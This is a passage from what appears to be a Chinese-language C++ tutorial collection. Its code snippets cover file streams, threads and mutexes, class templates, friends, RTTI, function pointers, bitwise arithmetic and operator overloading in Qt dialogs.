| ios::out); char str[] = "ABCDEFG"; Fout.seekp(0, ios::end);//随机位置进行读写 long size = Fout.tellp();//当前位置距离begin有多少个字节,尾部可以获取文件大小 cout << size< 随机二进制文本读写 #include #include using namespace std; void main1a() { double db[10] = { 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 10.1 }; ofstream fout("N.txt", ios::binary); fout.write((char *)db, 80); fout.close(); double *p = new double[10]; ifstream fin("N.txt", ios::binary); fin.read((char *)p, 80); fin.close(); for (int i = 0; i < 10; i++) { std::cout << p[i] << endl; } std::cin.get(); } void main2b()//随机位置读取 { double db[10] = { 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 10.1 }; ofstream fout("N.txt", ios::binary); fout.write((char *)db, 80); fout.close(); double *p = new double[5]; ifstream fin("N.txt", ios::binary); fin.seekg(-40, ios::end);//读写 fin.read((char *)p, 40); fin.close(); for (int i = 0; i < 5; i++) { std::cout << p[i] << endl; } std::cin.get(); } void main() { //先读取 double *p = new double[10]; ifstream fin("N.txt", ios::binary); fin.read((char *)p, 80); fin.close(); for (int i = 0; i < 10; i++) { std::cout << p[i] << endl; } //随机写入 double db[] = { 100.9, 200.8, 300.7, 400.6, 500.5 }; //ios::in | ios::out不再清零文件,否则会清零 ofstream fout("N.txt", ios::binary|ios::in | ios::out); //fout.seekp(40, ios::beg); fout.seekp(0, ios::end);//写入 fout.write((char *)db, 40); fout.close(); //再次读取 { double *p = new double[20]; ifstream fin("N.txt", ios::binary); fin.read((char *)p, 160); fin.close(); for (int i = 0; i < 20; i++) { std::cout << p[i] << endl; } } std::cin.get(); } 多线程初级 #include #include #include using namespace std; void helloworld() { std::cout << "你好**" << endl; } void helloworldA() { std::cout << "你好**A" << endl; } void helloworldB() { std::cout << "你好**B" << endl; } void main1() { std::thread t1(helloworld);//线程顺序执行 std::thread t2(helloworldA); std::thread t3(helloworldB); cin.get(); } #include #include #include #include using namespace std; void run(int num) { Sleep(1000); std::cout << "你好**"<< num<< endl; } void main2() { //thread t[10]; thread *p[10]; for (int i = 0; i < 10;i++) { p[i]=new thread(run, i);//循环创建线程 p[i]->join();//等待 //p[i]->detach();//脱离当前主线程自由执行,乱序 } cin.get(); } 线程之间通信以及锁定 #include #include #include #include using namespace std; //两个线程并行访问一个变量 int g_num = 20;//找到或者找不到的标识 void goA(int num) { for (int i = 0; i < 15; i++) { Sleep(1000); if (i == 6) { g_num = 5; } if (g_num ==5) { std::cout << "线程" << num << "结束 \n"; return; } std::cout << "线程" << num <<" "<< g_num << endl; } } void goB(int num) { for (int i = 0; i <150; i++) { Sleep(1000); if (g_num == 5) { std::cout << "线程" << num << "结束 \n"; return; } std::cout << "线程" << num << " " << g_num << endl; } } void main3() { thread t1(goA, 1); thread t2(goB, 2); t1.join(); t2.join(); std::cin.get(); } 线程锁定 #include #include #include #include #include using namespace std; //两个线程并行访问一个变量 int g_num = 20;//找到或者找不到的标识 mutex g_mutex; void goA(int num) { g_mutex.lock();//你访问的变量,在你访问期间,别人访问不了 for (int i = 0; i < 15; i++) { Sleep(300); g_num = 10; std::cout << "线程" << num << " " << g_num << endl; } g_mutex.unlock(); } void goB(int num) { for (int i = 0; i < 15; i++) { Sleep(500); g_num = 11; std::cout << "线程" << num << " " << g_num << endl; } } void main() { thread t1(goA, 1); thread t2(goB, 2); t1.join(); t2.join(); std::cin.get(); }
类模板 类模板多个类型默认类型简单数组模板 #pragma once template <class T=int>//类模板可以有一个默认的值 class myArray { public: myArray(); ~myArray(); }; #include "myArray.h" template <class T=int>//每一个函数都需要加上一个默认的值 myArray<T>::myArray() //类模板成员函数在外部,需要加载类型初始化 { std::cout << "构造" << typeid(T).name() << std::endl; } template <class T=int> myArray<T>::~myArray() { std::cout << "销毁" << typeid(T).name() << std::endl; } #include <iostream> #include <array> #include <string> #include "myArray.h" #include "myArray.cpp"//类模板的成员函数没有实例化,不会自动找到,需要手动包含 using namespace std; void main2() { //myArray<int> my1; myArray<> my2;//C++11的新功能 std::cin.get(); } void main1() { array<string, 5>strarray = {"calc","mspaint","notepad","tasklist","pause"}; for (int i = 0; i < strarray.size();i++) { std::cout << strarray[i].c_str() << std::endl; } std::cin.get(); } #include<iostream> #include<string> //定义两种数据类型的类模板 //STL 数据结构,算法,适用任何类型 template<class T1,class T2> class myclass { public: T1 t11; T2 t22; myclass(T1 t111, T2 t222) :t11(t111), t22(t222) { } void print() { std::cout << t11 << " "<<t22 << std::endl; } }; using namespace std; void main1() { myclass<int, double> my1(10, 20.8); my1.print(); myclass<double, string>my2(20.8, "123456abc"); my2.print(); std::cin.get(); } 类模板当作函数参数 #pragma once template<class T,int n> class Array { public: Array(); Array(int length); ~Array(); int size(); T get(int num); T& operator [](int num);//重载【】 void set(T data, int num); public: T *pt; //int n;//长度 }; #include "Array.h" template<class T, int n>//int n不可以修改,不是类的内部成员 Array<T,n>::Array() { //this->pt = nullptr;//空指针 //this->n = 0; this->pt = new T[n]; } template<class T, int n>//每一个函数都必须模板 Array<T,n>::Array(int length) { this->pt = new T[length]; //n = length; } template<class T, int n>//每一个函数都必须模板 Array<T,n>::~Array() { //n = 0; delete[] this->pt; } template<class T, int n>//每一个函数都必须模板 int Array<T,n>::size() { return n; } template<class T, int n>//每一个函数都必须模板 T Array<T,n>::get(int num)//num是数组的下标 { if (num >= n ||num <0)//报错 { //异常 } else { return *(this->pt + num); } } template<class T, int n>//每一个函数都必须模板 void Array<T,n>::set(T data, int num) { if (num<0 || num>=n) { } else { *(pt + num) = data; } } template<class T, int n>//每一个函数都必须模板 T& Array<T, n>::operator [](int num) { if (num < 0 || num>=n) { } else { return *(pt + num); } } #include <iostream> #include <string> #include "Array.h" #include"Array.cpp" using namespace std; void main1() { /* string str = "calc"; Array<string> myarray(5);//构造五个元素数组 for (int i = 0; i < myarray.size();i++) { str += "X"; myarray.set(str, i); std::cout << myarray.get(i) << std::endl; } */ std::cin.get(); } void main22() { Array<int,5 > myarray; for (int i = 0; i < myarray.size(); i++) { myarray.set(i, i); std::cout << myarray[i] << std::endl; } std::cin.get(); } template<class T, int n>//类模板作为参数,类型无比明确 void print(Array<T,n> &myarray) { for (int i = 0; i < myarray.size();i++) { std::cout << myarray[i] << std::endl; } } void main() { Array<int, 5 > myarray; for (int i = 0; i < myarray.size(); i++) { myarray.set(i, i); } print(myarray); std::cin.get(); } final_override #include<iostream> //C++11 final override针对虚函数 //final拒绝重载,某些情况下,接口拒绝被重写 //加了final关键字的虚函数,无法被重写,预留接口 //override,警示符,声明我重写父类的方法,父类没有接口,会提示出错 class ye { public: //final”函数必须是虚函数 virtual void print() final //虚函数无法重写 { std::cout << "爷爷\n"; } virtual void run() { std::cout << "爷爷run\n"; } }; class ba:public ye { public: //警示作用,强调我覆盖了父类的方法,必须是虚函数 void runa () override { std::cout << "爸爸run\n"; } }; void main1() { ba ba1; ba1.run(); std::cin.get(); } 类模板与普通类的派生类模板虚函数抽象模板类 #include <iostream> #include <string> //模板类之间继承 //类模板可以直接继承类模板,类型必须传递 //普通类继承类模板,需要明确类型实例化类模板 //类模板继承普通类,常规的操作方式 //类模板当作普通哦类,需要模板参数对类进行实例化 template<class T> //抽象模板类 class myclass { public: T x; myclass(T t) :x(t) { } //virtual void print() //{ // std::cout << x << std::endl; //} virtual void print() = 0; }; template<class T> class newclass :public myclass<T> //继承必须明确类型 { public: T y; newclass(T t1, T t2) :myclass(t1), y(t2) { } void print() { std::cout << x <<" " <<y<< std::endl; } }; void main() { myclass<int > *p=new newclass<int>(10,9); p->print(); std::cin.get(); } void mainyz() { myclass<int> *p = new newclass<int>(10,9); p->print(); std::cin.get(); } void main1() { //newclass<double> my1(10.9, 2.3); //my1.print(); newclass<std::string> my1("abc", "xyz"); my1.print(); std::cin.get(); } class xyz { public: int x; int y; int z; xyz(int a, int b, int c) :x(a), y(b), z(c) { } void print() { std::cout << x << y << z; } }; template<class T> class newxyz :public xyz { public: T a; newxyz(T t1,int a1,int b1,int c1) :xyz(a1,b1,c1),a(t1) { } void print() { std::cout << "Ta=" << a << std::endl; std::cout << x << y << z << std::endl; } }; class classrun:public newxyz<int > { public: int d = 1000; classrun(int a2, int b2, int c2, int d2) :newxyz<int>(a2,b2,c2,d2) { } void print() { std::cout << d << x << y << z << a; } }; void mainy() { classrun run1(1, 2, 3, 4); run1.print(); std::cin.get(); } void mainx() { std::string str1 = "china"; newxyz<std::string> new1(str1,10,90,89); new1.print(); std::cin.get(); } 类模板友元 #include <iostream> #include <string> #include <vector> template<class T> class myclass; template<class T> void print(myclass<T> & my, T t1); template<class T> class myclass { public: //friend void print(myclass<T> & my, T t1); //友元函数放在模板类的内部,实现重载 friend void print(myclass<T> & my, T t1); friend myclass * operator+(const myclass<T> & my1, const myclass<T> &my2) { //myclass class1 栈,用完了马上释放 //堆上申请一个 myclass * p = new myclass(my1.x + my2.x, my1.y + my2.y); return p; } myclass(T t1, T t2) :x(t1), y(t2) { } //访问私有需要友元, private: T x; T y; }; template<class T> void print(myclass<T> & my, T t1) { std::cout << typeid(t1).name() << std::endl; std::cout << my.x << " " << my.y << std::endl; } using namespace std; void main1() { myclass<int> my1(19, 29); vector<int > v1; vector< vector<int > > v2; vector<vector<vector<int > > > v3; using VEC = vector<vector<vector<int > > >;//C++11简写 VEC v4;//等价于三维int类型数据,模板 } void main() { myclass<int> my1(19, 29); myclass<int> my2(11, 1); print(my1, 10); //printA(my1); myclass<int> *pclass = my1 + my2; print(*pclass,10); std::cin.get(); } 位运算算法以及类声明 不是用+号,实现加法 #include <iostream> //加减乘除,都是靠位运算, //将来从事手机端,嵌入式开发,位操作, class jia;//声明,只能声明指针或者引用 jia *pjia1; jia *& pjia2=pjia1; //jia & jia2; //jia jia1; class jia { public: jia(int a, int b) :x(a), y(b) { } int jiafa() { return x + y; } int getx() { return x; } int gety() { return y; } int newjiafa(int a, int b) { if (a == 0) { return b; } else if (b == 0) { return a; } else { int res = a^b;//先求结果 int wei = (a&b) << 1;//进位,左移,乘以2, //a+b=a^b+(a&b)<<1; std::cout << "res=" << res << " " << "wei=" << wei << "\n"; return newjiafa(res, wei); } } private: int x; int y; }; int newjiafa(int a,int b) { if (a == 0) { return b; } else if (b==0) { return a;//让相与慢慢趋势于0 } else { int res = a^b;//先求结果 int wei = (a&b) << 1;//进位,左移,乘以2, //a+b=a^b+(a&b)<<1;//表达式 std::cout << "res=" << res << " " << "wei=" << wei << "\n"; return newjiafa(res, wei); } } void main1() { //std::cout << newjiafa(11, 22) << std::endl; jia jia1(10, 9); std::cout << jia1.jiafa() << std::endl; std::cout << jia1.newjiafa(jia1.getx(), jia1.gety()) << std::endl; std::cin.get(); } void main2() { int num; std::cin >> num; int i = 0; while (num) { i++; num &= num - 1;//让数据趋向于0 } std::cout << i << std::endl; std::cin.get(); std::cin.get(); } int get1(int num) { int count = 0;//表示位数 unsigned int flag = 1;//0000001 flag // 1111 num //0000001 1 //flag 000001 //num 1111 //flag 0000010 //num 1111 // 0000010 //flag 0000100 //num 1111 // 00000100 //flag 0001000 //num 1111 // 000001000 //flag 00010000 //num 1111 //0 while (flag) { std::cout << num << " " << flag << std::endl; if (num & flag) //不为0就自增 { count++; } flag = flag << 1; } return count; } void main() { int num; std::cin >> num; int i = 0; i = get1(num); std::cout << i << std::endl; std::cin.get(); std::cin.get(); } 类模板与友元函数友元类 类模板与友元函数 #include<iostream> template <class T> class myclass; template <class T> void printA(myclass<T> my); template <class T> class myclass { public: myclass(T t) :x(t) { } friend void print(myclass<T> my) { std::cout << my.x << std::endl; } friend void printA<T>(myclass<T> my); //友元函数如果在外部,第一声明要加类型T //必须要声明类还有函数 private: T x; //模板友元类 //int y;访问与T无关的类型,普通友元类 }; template <class T> void printA(myclass<T> my) { std::cout << my.x << std::endl; } void mainA() { myclass<int> my1(10); myclass<double> my2(10.9); printA(my1); print(my2); std::cin.get(); } 类模板与友元类 #include<iostream> template <class T> class myclass; template<class T> class runclass;// //友元类必须声明类的存在, //需要声明友元类,必须要与类型相关 template <class T> class myclass { public: myclass(T t) :x(t) { } friend class runclass<T>;//声明友元类 private: T x; //模板友元类 //int y;访问与T无关的类型,普通友元类 }; template<class T> class runclass { public: void print(const myclass<T> & my) { std::cout << my.x << std::endl; } }; void main() { myclass<double> my1(19.8); runclass<double> run1; run1.print(my1); std::cin.get(); } 类模板当作类模板参数 #include<iostream> #include<string> using namespace std; //类模板当作一个类的参数 //设计STL时候用到 //面试,类模板当作参数 template<class T> class ren //一个通用的类的类模板 { public: T name; ren(T t) :name(t) { } }; template< template<class T> class T1 > //使用类模板当作模板参数的类 class people { public: T1<string> t1x="123123";//T1必须实例化 。必须结合 T1<string> num = "ABC"; //等价于ren类型 //T1 x; people(T1<string> &t1) { std::cout << typeid(t1).name() << std::endl; std::cout << typeid(T1).name() << std::endl; std::cout << t1.name << std::endl; t1x = t1; num = t1; } }; void main() { ren<string> ren1("hello8848"); //基本数据类型 people<ren> people1(ren1);//嵌套的类模板 //std::cout << people1.t1x.name << std::endl; //std::cout << people1.num.name << std::endl; //std::cout << people1.str << std::endl; std::cout << people1.t1x.name << std::endl; std::cout << people1.num.name << std::endl; std::cout << ren1.name << std::endl; std::cin.get(); } static与类模板 #include <iostream> #include<string> //类模板的static成员,对象,类名《类型》 //不同类型的静态成员变量,地址不一样 //相同类型的静态成员变量,地址一样 template<class T> class myclass { static int data; public: static int num;//声明 T a; myclass(T t) :a(t) { num++; data++; } static void run() { //this->a; std::cout << data << std::endl; std::cout << typeid(T).name() << "\n"; } }; template<class T> int myclass<T>::num = 0; template<class T> int myclass<T>::data = 0; //静态变量,静态函数,同类,共享的 //类型不同,不是共享 void main() { myclass<int > my1(10); myclass<double > my2(10.9); myclass<int > my4(10); myclass<int>::run(); myclass<int>::run(); myclass<int>::run(); my1.run(); myclass<double>::run(); //myclass<int>::data; std::cin.get(); } void mainA() { myclass<int > my1(10); myclass<double > my2(10.9); myclass<std::string > my3("1234"); myclass<int > my4(10); std::cout << &my1.num << std::endl; std::cout << &my2.num << std::endl; std::cout << &my3.num << std::endl; std::cout <<&my4.num << std::endl; std::cout << &myclass<int >::num << std::endl; std::cout << &myclass<float >::num << std::endl; std::cin.get(); } 类嵌套以及类模板嵌套 类嵌套 #include <iostream> //类的嵌套 class myclass { public: class newclass { public: int num; }new1; }; class newnewclass :public myclass { }; void main2() { newnewclass newx; newx.myclass::new1.num=10; std::cout << newx.new1.num; std::cin.get(); } void main1() { myclass myclass1; myclass1.new1.num = 19; std::cout << myclass1.new1.num; std::cin.get(); } 类模板嵌套 #include<iostream> template<class T> class myclass { public: class newclass { public: int num; }new1;//定义的方式 newclass new2; template<class V> class runclass { public: V v1; };//类模板后面不可以直接初始化 runclass<T> t1; runclass<double> t2; }; void main() { myclass<int > my1; my1.new1.num = 10; my1.t1.v1 = 12; my1.t2.v1 = 12.9; std::cout << my1.t1.v1 << "\n" << my1.t2.v1; std::cin.get(); } Rtti 实时类型检测 #include <iostream> //rtti,实时类类型检测, //typeid, dynamic_cast必须依赖于虚函数表 //类型不匹配转换失败,返回为空。类型安全 //成员变量的覆盖 //虚函数有虚函数表确定数据类型 class A { public: int num; static int data; virtual void run() { std::cout << "Arun\n"; } }; int A::data=1; class B:public A { public: int num=0; static int data; void run() { std::cout << "Brun\n"; } void test() { std::cout << num<<"\n"; std::cout << "Btest\n"; } }; int B::data = 2; void main() { A a1; B b1; A *p1 = &a1; A *p2 = &b1; B *p3(nullptr); //p3 = static_cast<B *>(p1);//直接赋地址,不安全,与虚函数无关 p3 = reinterpret_cast<B*>(p2); std::cout << p3 << "\n"; p3->test(); std::cin.get(); } void main3() { A a1; B b1; A *p1 = &a1; A *p2 = &b1; B *p3(nullptr); //p3 = dynamic_cast<B*>(p2); //dynamic必须要有虚函数,根据虚函数表转换,不能转换 //转换失败为空 //类的空指针可以调用不调用数据的函数 //转换成功就是地址 std::cout << p3 << "\n"; p3->test(); std::cin.get(); } void main2() { //A *p1 = new A; //A *p2 = new B; A a1; B b1; A *p1 = &a1; A *p2 = &b1; std::cout << typeid(p1).name() <<" "<< typeid(p2).name() << std::endl; std::cout <<( typeid(p1) == typeid(p2))<<"\n"; std::cout << typeid(*p1).name() << " " << typeid(*p2).name() << std::endl; std::cout << (typeid(*p1) == typeid(*p2)) << "\n";//重载的方式判定类型是否一致 std::cin.get(); } void main1() { B b1; b1.num = 10;//覆盖现象 b1.A::num = 20; std::cout << b1.num << "\n" << b1.A::num << std::endl; std::cout << b1.data <<" "<< b1.A::data << "\n"; std::cout << &b1.data << " " << &b1.A::data << "\n"; std::cin.get(); } 高级new创建 #include <iostream> class myclass { public: myclass() { std::cout << "创建\n"; } ~myclass() { std::cout << "销毁\n"; } }; void main() { char *pcathe = new char[1024]; char *pcatheend = pcathe + 1024; std::cout <<(void*) pcathe << " " << (void*)pcatheend << std::endl; myclass *p = new(pcathe)myclass[10];//限定区域分配内存,覆盖模式 std::cout << p << std::endl; //delete[] p;一般不需要delete.自动覆盖 std::cout << p << std::endl; p = new(pcathe)myclass[10]; std::cout << p << std::endl; //delete[] p;//只能释放一次 std::cout << p << std::endl; /* myclass *pclass = new myclass[10]; std::cout << pclass << std::endl; delete []pclass; pclass = NULL; std::cout << pclass << std::endl; pclass = new myclass[10]; std::cout << pclass << std::endl; delete [] pclass; std::cout << pclass << std::endl; */ std::cin.get(); } 类以及函数包装器 #include<iostream> template<typename T,typename F> T run(T t, F f) //包装器,实现一个操作接口,操作多个类的方法 { return f(t); } int add(int num) { return num + 10; } class myclass { public: int num; myclass(int data) :num(data) { } int operator ()(int X) { return X*num; } }; class myclassA { public: int num; myclassA(int data) :num(data) { } int operator ()(int X) { std::cout << "A\n"; return X-num; } }; void main() { myclass my1(5); std::cout << run(101,my1) << std::endl; std::cout << run(101, myclassA(51)) << std::endl; std::cin.get(); } void main1() { auto num = 100; auto func = add; std::cout << run(num, add) << std::endl; std::cin.get(); } 类成员函数指针 C函数指针 #include<stdio.h> int addC(int a, int b) { return a + b; } void run() { printf("\nrun"); } void main1() { int(*p)(int, int) = addC; void(*p1)() = run; printf("%d\n", p(1, 2)); printf("%d\n", (*p)(1, 2)); //*p编译器自动将*p解释为p printf("%d\n", (**********p)(1, 2)); //*p编译器自动将*p解释为p printf("%d\n", (&(**p))(1, 2)); //&没有*不可以执行,超过两个地址就不可以 //&p不能, //printf("%d\n", (&(p))(1, 2)); printf("%p,%p,%p", &p, *p, p); printf("\n%p,%p,%p", &p1, *p1, p1); //printf("%d\n", (&p)(1, 2)); //取地址,取就是CPU即将调用函数执行,C语言内嵌ASM //老版本,*p,p,&p getchar(); } Cpp函数指针 #include <stdio.h> #include<iostream> void add(int a, int b) { std::cout << a + b << std::endl; } void mainA() { void(*p)(int, int) = add; p(1, 2); (*p)(1, 2);//函数指针,会被当作指针来处理,*p与p效果一样 (**************p)(1, 2);//函数指针,会被当作指针来处理,*p与p效果一样 (*&p)(1, 2); (*******&p)(1, 2); std::cout << (void *)p << " " << (void *)(*p) << std::endl; std::cout << typeid(p).name() << std::endl; std::cout << typeid(*p).name() << std::endl; std::cout << typeid(&p).name() << std::endl; std::cout << typeid(*&p).name() << std::endl; //C++编译器会自动将*p处理为p // std::cin.get(); } 类成员函数指针数组 #include<iostream> #include<stdio.h> //类成员函数指针,类成员函数指针数组,类成员二级函数指针 class com { private: int a; int b; public: com(int x, int y) :a(x), b(y) { } int jia(int a, int b) { return a + b; } int jian(int a, int b) { return a - b; } int cheng(int a, int b) { return a * b; } int chu(int a, int b) { return a / b; } }; void main1x() { com com1(100, 20); auto fun1 = &com::jia; int(com::*p)(int, int) = &com::jia; std::cout << (com1.*p)(10, 20) << std::endl;//引用对象,类成员函数指针 std::cout << typeid(p).name() << std::endl; std::cout << typeid(fun1).name() << std::endl; std::cin.get(); } typedef int(com::*P)(int, int); void main() { com com1(100, 20); //P fun1[4] = { &com::jia, &com::jian, &com::cheng, &com::chu }; //类成员函数指针数组 int(com::*fun1[4])(int, int) = { &com::jia, &com::jian, &com::cheng, &com::chu }; for (int i = 0; i < 4; i++) { std::cout << (com1.*fun1[i])(10, 20) << std::endl; } int(com::**funp)(int, int) = fun1;//指向类成员函数指针的指针 for (; funp < fun1 + 4; funp++) { std::cout << (com1.**funp)(10, 20) << std::endl; printf("%p", *funp); } for (int i = 0; i < 4; i++) { auto func = fun1[i]; std::cout << typeid(func).name() << std::endl; printf("%p", func); } std::cin.get(); }
Nullptr #include<iostream> void go(int num) { std::cout << "gonum" << std::endl; } void go(void *p) { std::cout << "gop" << std::endl; } void main() { //void *p = nullptr; void *p = NULL;//C++是强类型,严格的类型检查 //go(p);//根据类型来处理,go(p) gop go(NULL);//造成歧义,C++用Nullptr,gonum go(nullptr);//C++的空指针,类型 std::cin.get(); } const对象 #include<iostream> class area { public: int x; int y; mutable int z;//不受const约束的类成员 area() :x(10), y(10) { } void printxy() const { z = z + 1; std::cout << x << " " << y << "\n"; } void add(int a) { x += a; y -= a; } void go() const { } protected: private: }; void main() { { //const area *p1; //area const *p2; //const area * const p3; //area *const p4; } //const对象不可以引用非const成员函数 //不可以改变内部变量,mutable例外 const area * const p = new area; p->go(); //p->add(); //p = new area;//指针可以改变 const area area1; area1.printxy(); //area1.add(1); area1.go(); //area1.x = 10; area1.z += 1; std::cin.get(); } 类指针引用以及mallocfree与newdelete差别 #include<iostream> #include <stdlib.h> class myclass { public: int x; int y; public: myclass(int a, int b) :x(a), y(b) { std::cout << "构造哦" << std::endl; } myclass() { } ~myclass() { std::cout << "销毁哦" << std::endl;// } public: void printxy(); protected: private: }; void myclass::printxy() { std::cout << x << " " << y << std::endl; } myclass class1(10, 11);//全局变量优先main函数 myclass class2(11, 12); void change1(myclass **pp) { *pp = &class2; } void change2(myclass * &p) { p = &class1; } void main22() { myclass *p=&class1; p->printxy(); change1(&p); p->printxy(); change2(p); p->printxy(); std::cin.get(); } void main11() { //myclass *p = new myclass; myclass *p(new myclass(10,9));//构造函数初始化 p->printxy(); myclass class1(20,1); myclass ** pp = &p;//二级指针存储一级指针的地址 (*pp)->printxy();//一级类指针 (**pp).printxy();//0级类指针 std::cin.get(); } void main122() { //myclass *p = (myclass *)malloc(sizeof(myclass)); //free(p); myclass *p = new myclass; delete p; std::cin.get(); } #include <iostream> #include<stdlib.h> class myclassA { public: myclassA() { std::cout << "create\n"; } ~myclassA() { std::cout << "delete\n"; } protected: private: }; void main() { //new delete自动调用构造析构 myclassA *p = new myclassA; delete p; //只会分配内存,释放内存,不会对内存进行操作 myclassA *p1 = (myclassA *)malloc(sizeof(myclassA)); free(p1); std::cin.get(); } 类重载运算符 #include <iostream> using namespace std; class mycomplex { public: //友元,需要操作类的内部 //ostream 引用标准输入输出流, friend ostream & operator <<(ostream & out, mycomplex & Complex); friend istream & operator >>(istream & in, mycomplex & Complex); friend mycomplex operator +(mycomplex adddata1, mycomplex adddata2); friend mycomplex operator +(mycomplex adddata1, int x); //友元函数可以处理不同的类型交错 //成员函数能实现,友元函数都可以实现 //友元函数 int x; int y;//x,y坐标 //没有构造无法使用this,初始化 mycomplex() { this->x = 0; this->y = 0; } mycomplex(int x, int y) :x(x),y(y) { //this->x += 1; //this->y += 1; } ~mycomplex() { } void show() { std::cout << x << "+" << y << "i" << std::endl; } void operator ++() { this->x++; this->y++; } void operator --(); int operator ()(int num)//重载函数调用运算符,变量名可以当作一个函数调用参数,返回结果 { cout << num << endl; return num + num; } /* mycomplex operator +(mycomplex adddata) { mycomplex temp; temp.x = this->x + adddata.x; temp.y = this->y + adddata.y; return temp; } */ protected: private: }; void mycomplex::operator--() { this->x--; this->y--; } //输入输出,cout,屏幕,fout文件 ostream & operator <<(ostream & out, mycomplex & Complex) { out << Complex.x << "+" << Complex.y << "i" << std::endl; return out; } istream & operator >>(istream & in, mycomplex & Complex) { cout << "请输入X,Y" << endl; in >> Complex.x >> Complex.y; return in; } mycomplex operator +(mycomplex adddata1 ,mycomplex adddata2) { mycomplex temp; temp.x = adddata1.x + adddata2.x; temp.y = adddata1.y + adddata2.y; return temp; } mycomplex operator +(mycomplex adddata1, int x) { mycomplex temp; temp.x = adddata1.x + x; temp.y = adddata1.y + x; return temp; } //++,--先自增,先自减 // void main() { mycomplex my1(7, 8), my2(9, 10); std::cout << my1 + my2 << std::endl; std::cout << my1 + 3 << std::endl; std::cin.get(); } void main2() { mycomplex my1; cin >> my1; cout << my1; //my1++; ++my1; cout << my1; my1--; cout << my1; std::cout<<my1(1)<<std::endl; std::cout << my1(2) << std::endl; std::cin.get(); std::cin.get(); } void main1111() { mycomplex my1(7, 8),my2(9,10); //my1.show(); //my2.show(); std::cout << my1; std::cout << my2; int num; std::cin >> num; //std::cin >> my1; std::cin.get(); } 类的重载赋值运算复合赋值运算关系运算元重载 #ifndef DIALOG_H #define DIALOG_H #include <QDialog> #include<QLabel> namespace Ui { class Dialog; } class mylabel { public: QLabel *ql; int cx; int cy; mylabel() { ql=new QLabel("12345") ; cx=cy=300; ql->move(cx,cy);//移动位置 } ~mylabel() { delete ql; } void show() { ql->show(); } }; class Dialog : public QDialog { Q_OBJECT public: int x;//长 ,宽 int y; int cx;//位置,x,y int cy; public: explicit Dialog(QWidget *parent = 0); friend void operator +=(Dialog & d , mylabel &my ); ~Dialog(); void operator ++() { this->cx++; this->cy++; this->move(cx,cy); } void setxy() { this->resize(x,y); } void settoxy(int a,int b) { this->x=a; this->y=b; } //二元运算符 Dialog * operator +(Dialog const &adddata) { Dialog *p=new Dialog; p->x=this->x+adddata.x; p->y=this->y+adddata.y; return p; } Dialog *operator =(Dialog const &setdata) { this->x=setdata.x; this->y=setdata.y; this->setxy(); return this; } //int a,int b, a+=b //Dialog a,int b,a+=b Dialog *operator +=(int length) { this->x+=length; this->y+=length; this->setxy(); return this; } bool operator <(Dialog const &data) { return (this->x*this->y) < (data.x*data.y); } private: Ui::Dialog *ui; }; #endif // DIALOG_H #include "dialog.h" #include "ui_dialog.h" Dialog::Dialog(QWidget *parent) : QDialog(parent), ui(new Ui::Dialog) { ui->setupUi(this); x=y=300; this->resize(x,y); cx=cy=0; this->move(cx,cy); } Dialog::~Dialog() { delete ui; } void operator +=(Dialog & d , mylabel &my ) { d.cx+=my.cx; d.cy+=my.cy; d.move(d.cx,d.cy); } #include "dialog.h" #include <QApplication> #include<Windows.h> #include<QDebug> void add(Dialog &add1,Dialog &add2) { Dialog temp;//栈上,用完了马上回收 temp.x=add1.x+add2.x; temp.y=add1.x+add2.y ; temp.show(); temp.setxy(); Sleep(2000); //return 副本机制 return temp; } Dialog * addX(Dialog &add1,Dialog &add2) { Dialog *p=new Dialog;//堆上,只有自己回收才行 p->x=add1.x+add2.x; p->y=add1.x+add2.y ; p->show(); p->setxy(); return p; } // > // = //+= //友元重载+=,= 不同类的对象的位置 template<class T> void showall(T* myt) { myt->show(); } //友元函数访问私有变量 //如果重载的时候,不用到私有变量,不需要友元 int main(int argc, char *argv[]) { QApplication a(argc, argv);//框架支持 // QLabel *ql=new QLabel("12345"); // ql->show(); // showall(ql); mylabel label1; showall(&label1); Dialog w1; //w1.show(); showall(&w1); w1+=label1; return a.exec(); } int mainC(int argc, char *argv[]) { QApplication a(argc, argv); Dialog w1; w1.show(); w1.settoxy(400,700); w1.setxy(); Dialog w2; w2.show(); w2.settoxy(700,400); w2.setxy(); w1=w2; w1+=230; qDebug()<<(w1<w2); qDebug()<<(w2<w1); return a.exec(); } int mainB(int argc, char *argv[]) { QApplication a(argc, argv); Dialog w1; w1.show(); Dialog w2; w2.show(); // addX(w1,w2); Dialog *p=w1+w2; p->setxy(); p->show(); return a.exec(); } int mainA(int argc, char *argv[]) { QApplication a(argc, argv); Dialog w; w.show(); w.move(0,0); for(int i=0;i<800;i++) { w++; } return a.exec(); } 自增在前在后差别 #ifndef DIALOG_H #define DIALOG_H #include <QDialog> #include<QString> namespace Ui { class Dialog; } class Dialog : public QDialog { Q_OBJECT public: explicit Dialog(QWidget *parent = 0); ~Dialog(); void setxy(int a,int b) { this->x=a; this->y=b; } Dialog *operator ++() { this->x += 1; this->y += 1; return this; } Dialog *operator ++(int data) { Dialog *ptemp=new Dialog; ptemp->x=this->x; ptemp->y=this->y; this->x+=1; this->y+=1; return ptemp; } private slots: void on_pushButton_clicked(); void on_pushButton_2_clicked(); void on_pushButton_3_clicked(); private: Ui::Dialog *ui; int x; int y; }; #endif // DIALOG_H #include "dialog.h" #include "ui_dialog.h" Dialog::Dialog(QWidget *parent) : QDialog(parent), ui(new Ui::Dialog) { ui->setupUi(this); this->x=10; this->y=100; QString str1,str2; str1.setNum(this->x); str2.setNum(this->y); ui->lineEdit->setText(str1); ui->lineEdit_2->setText(str2); } Dialog::~Dialog() { delete ui; } void Dialog::on_pushButton_clicked() { QString str1,str2; str1.setNum(this->x); str2.setNum(this->y); ui->lineEdit->setText(str1); ui->lineEdit_2->setText(str2); } void Dialog::on_pushButton_2_clicked() { ++(*this); } void Dialog::on_pushButton_3_clicked() { Dialog *p= (*this)++; p->show(); } #include "dialog.h" #include <QApplication> int main(int argc, char *argv[]) { QApplication a(argc, argv); Dialog w; w.show(); //w.setxy(10,20); //++w; // Dialog *p=w++; // p->show(); return a.exec(); } 赋值重载深浅拷贝 #ifndef MAINWINDOW_H #define MAINWINDOW_H #include <QMainWindow> namespace Ui { class MainWindow; } class MainWindow : public QMainWindow { Q_OBJECT public: explicit MainWindow(QWidget *parent = 0); ~MainWindow(); private: Ui::MainWindow *ui; }; #endif // MAINWINDOW_H #include "mainwindow.h" #include "ui_mainwindow.h" MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow) { ui->setupUi(this); this->resize(100,100); } 